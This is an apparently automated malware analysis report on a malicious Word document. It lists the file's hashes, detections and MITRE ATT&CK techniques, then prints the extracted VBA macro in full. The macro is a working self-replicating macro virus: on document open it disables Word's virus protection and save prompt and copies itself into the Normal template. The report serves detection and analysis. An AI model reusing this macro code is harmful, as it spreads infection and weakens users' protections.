Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 37f4b2b714b33513…

MALICIOUS

Office (OLE)

184.0 KB Created: 2020-04-30 09:06:00 Authoring application: Microsoft Office Word First seen: 2020-07-02
MD5: 6e5238270e87fcc3e08de754b07d6a8f SHA-1: 98f51682b1bf80cd91b37f54551fe481436b40dd SHA-256: 37f4b2b714b33513bd5d7cf6b68c10021ec5c488836fbd32162cff560553d5eb
90 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing a VBA macro. The macro's Document_Open subroutine attempts to modify the Normal template, likely to establish persistence by injecting malicious code that executes on subsequent document openings. The ClamAV heuristic also flags this as a known macro-based malware.

Heuristics 4

  • ClamAV: Doc.Macro.APMPKILL-6097118-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.APMPKILL-6097118-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    'KILL
Private Sub Document_Open()
   On Error Resume Next
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1159 bytes
SHA-256: 92e780ce138d2d3edf248384e932726016cdf7cad7445bc0f1b63e9113d2ada7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TYEntity2, 1, 0, ZYCTYPLUSLib, TYEntity"
Attribute VB_Control = "TYEntity1, 0, 1, ZYCTYPLUSLib, TYEntity"
'APMP
'KILL
Private Sub Document_Open()
   On Error Resume Next
   Application.DisplayStatusBar = False
   Options.VirusProtection = False
   Options.SaveNormalPrompt = False
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
   With Host
       If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
          .DeleteLines 1, .CountOfLines
          .InsertLines 1, MyCode
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName
       End If
   End With
End Sub

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